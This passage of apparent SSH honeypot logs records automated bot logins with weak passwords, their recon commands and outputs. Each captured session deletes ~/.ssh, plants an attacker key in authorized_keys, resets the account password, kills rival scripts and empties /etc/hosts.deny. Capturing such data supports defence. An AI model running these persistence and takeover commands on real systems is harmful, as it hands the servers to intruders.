-9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T01:22:52.564039+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:22:53.281173+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:22:53.856680+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:22:55.136306+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:22:55.697764+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:22:56.982197+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:22:57.549889+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:22:57.890043+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:22:58.450453+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:22:59.130286+00:00","kind":"output","latency_ms":null,"data":" 01:22:59 up 6 days, 22:13, 0 user, load average: 0.27, 0.21, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:22:59.688607+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:23:00.338280+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:23:00.912720+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:23:01.627622+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:23:02.198501+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:23:02.875630+00:00","kind":"output","latency_ms":null,"data":"top - 01:23:02 up 6 days, 22:13, 0 user, load average: 0.27, 0.21, 0.27\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:23:03.456832+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:23:04.233234+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:23:04.847672+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:23:05.726787+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:23:06.284285+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:23:06.962554+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T01:23:07.523259+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:23:08.618160+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:23:09.178724+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:23:10.324652+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Centos2024","method":"password","accepted":true,"tier":"other"}]} {"id":"bfcb867e-cf3f-4e83-b971-4cb292be2b4a","name":"grassy-snowy-wallaby","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":36980,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":520,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:19:50.901302+00:00","ended_at":"2026-08-27T01:19:52.508860+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T01:19:26.289889+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:19:26.850864+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:19:33.077176+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:19:33.965482+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:19:34.482546+00:00","kind":"input","latency_ms":null,"data":"echo \"root:xY345Oh7xliW\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T01:19:34.997087+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T01:19:35.513792+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:19:36.210752+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:19:36.725728+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:19:37.926087+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:19:38.458157+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:19:39.672542+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:19:40.200041+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:19:40.897520+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:19:41.417910+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:19:42.266866+00:00","kind":"output","latency_ms":null,"data":" 01:19:42 up 6 days, 22:09, 0 user, load average: 0.28, 0.33, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:19:42.784861+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:19:43.573438+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:19:44.094607+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:19:44.894904+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:19:45.409269+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:19:45.984642+00:00","kind":"output","latency_ms":null,"data":"top - 01:19:45 up 6 days, 22:09, 0 user, load average: 0.28, 0.33, 0.22\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:19:46.508749+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:19:46.897738+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:19:47.441551+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:19:47.879291+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:19:48.402527+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:19:48.803748+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T01:19:49.320953+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:19:50.382167+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:19:50.902406+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:19:52.328438+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"!QAZ2wsx3edc","method":"password","accepted":true,"tier":"other"}]} {"id":"baf9edd4-8eab-45b6-99e9-d2bceea49c71","name":"regal-ivory-manatee","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":36252,"username":"client","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":514,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:17:07.613064+00:00","ended_at":"2026-08-27T01:17:08.769650+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T01:16:38.163820+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:16:39.213408+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:16:48.789576+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:16:49.217480+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:16:49.753288+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345678\\nkwErr6rRXLh4\\nkwErr6rRXLh4\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:16:50.266204+00:00","kind":"input","latency_ms":null,"data":"echo \"12345678\\nkwErr6rRXLh4\\nkwErr6rRXLh4\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:16:50.806452+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:16:51.392571+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:16:51.927152+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:16:53.355598+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:16:53.866831+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:16:55.324515+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:16:55.860645+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:16:56.650659+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:16:57.160391+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:16:57.967364+00:00","kind":"output","latency_ms":null,"data":" 01:16:57 up 6 days, 22:07, 0 user, load average: 0.21, 0.22, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:16:58.473943+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:16:58.800774+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:16:59.320414+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:16:59.800585+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:17:00.309601+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:17:01.082672+00:00","kind":"output","latency_ms":null,"data":"top - 01:17:01 up 6 days, 22:07, 0 user, load average: 0.21, 0.22, 0.25\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:17:01.597923+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:17:02.485581+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:17:03.001366+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:17:03.836863+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:17:04.348793+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:17:05.063660+00:00","kind":"output","latency_ms":null,"data":"client"},{"seq":29,"at":"2026-08-27T01:17:05.580398+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:17:07.094200+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:17:07.615027+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:17:08.613222+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"client","password":"12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"3e870c39-c9a8-4024-99f4-6357f24d91dc","name":"thrifty-solemn-pochard","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":53860,"username":"edwin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":513,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:14:00.724812+00:00","ended_at":"2026-08-27T01:14:02.097768+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2242,"events":[{"seq":1,"at":"2026-08-27T01:13:32.348681+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:13:32.859566+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:13:43.591110+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:13:44.459247+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:13:44.973248+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1\\nGwHEBSWvryFp\\nGwHEBSWvryFp\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:13:45.655028+00:00","kind":"input","latency_ms":null,"data":"echo \"1\\nGwHEBSWvryFp\\nGwHEBSWvryFp\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:13:46.164160+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:13:46.521537+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:13:47.038779+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:13:48.241889+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:13:49.220299+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:13:50.461158+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:13:50.970956+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:13:51.268148+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:13:51.777711+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:13:52.044613+00:00","kind":"output","latency_ms":null,"data":" 01:13:52 up 6 days, 22:03, 0 user, load average: 0.19, 0.13, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:13:52.646587+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:13:53.440348+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:13:53.953490+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:13:54.315818+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:13:54.830194+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:13:55.220463+00:00","kind":"output","latency_ms":null,"data":"top - 01:13:55 up 6 days, 22:04, 0 user, load average: 0.19, 0.13, 0.12\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:13:55.737086+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:13:56.238855+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:13:56.752499+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:13:57.415792+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:13:57.921963+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:13:58.201075+00:00","kind":"output","latency_ms":null,"data":"edwin"},{"seq":29,"at":"2026-08-27T01:13:58.774185+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:14:00.213950+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:14:00.725676+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:14:01.930158+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"edwin","password":"1","method":"password","accepted":true,"tier":"other"}]} {"id":"7927f727-777d-425d-a918-c42e95a40e8c","name":"dusty-honest-plover","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":51866,"username":"docker","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":526,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:10:45.323484+00:00","ended_at":"2026-08-27T01:10:46.841590+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2246,"events":[{"seq":1,"at":"2026-08-27T01:10:17.750071+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:10:18.255658+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:10:28.514548+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:10:28.857697+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:10:29.376258+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Aa123456\\nvZA6L5r966JE\\nvZA6L5r966JE\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:10:29.893891+00:00","kind":"input","latency_ms":null,"data":"echo \"Aa123456\\nvZA6L5r966JE\\nvZA6L5r966JE\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:10:30.414534+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:10:31.229674+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:10:31.767142+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:10:33.064085+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:10:33.591248+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:10:34.825956+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:10:35.352227+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:10:35.628201+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:10:36.176601+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:10:36.528113+00:00","kind":"output","latency_ms":null,"data":" 01:10:36 up 6 days, 22:00, 0 user, load average: 0.13, 0.15, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:10:37.045037+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:10:37.417489+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:10:37.936104+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc 